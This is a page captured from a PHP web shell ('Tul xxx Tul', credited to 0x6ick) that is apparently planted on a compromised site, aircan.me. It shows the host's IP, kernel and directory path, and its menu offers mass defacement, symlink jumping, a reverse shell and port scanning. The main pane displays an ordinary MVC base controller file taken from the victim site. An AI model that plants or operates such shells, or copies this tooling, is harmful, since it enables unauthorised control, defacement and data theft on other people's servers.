Tul xxx Tul
User / IP
:
216.73.217.33
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
siscaps
/
controllers
/
Viewing: BaseController.php
<?php /** * Base Controller Class * Provides common functionality for all controllers */ abstract class BaseController { /** * Render view with appropriate layout based on user role */ protected function renderView(string $view, array $data = []): void { // Extract data to make variables available in view extract($data); $role = getCurrentUserRole(); // Choose layout based on role if ($role === 'CLIENTE') { require __DIR__ . '/../views/layouts/cliente_header.php'; require __DIR__ . '/../views/' . $view . '.php'; require __DIR__ . '/../views/layouts/cliente_footer.php'; } else { require __DIR__ . '/../views/layouts/header.php'; require __DIR__ . '/../views/' . $view . '.php'; require __DIR__ . '/../views/layouts/footer.php'; } } /** * Render JSON response */ protected function renderJson(array $data, int $statusCode = 200): void { http_response_code($statusCode); header('Content-Type: application/json'); echo json_encode($data); exit; } /** * Redirect with flash message */ protected function redirectWithMessage(string $route, string $type, string $message): void { setFlashMessage($type, $message); redirect($route); } /** * Validate CSRF token */ protected function validateCsrf(): bool { $token = $_POST['csrf'] ?? ''; return hash_equals($_SESSION['csrf'] ?? '', $token); } /** * Generate CSRF token */ protected function generateCsrf(): string { if (empty($_SESSION['csrf'])) { $_SESSION['csrf'] = bin2hex(random_bytes(32)); } return $_SESSION['csrf']; } }
Coded With 💗 by
0x6ick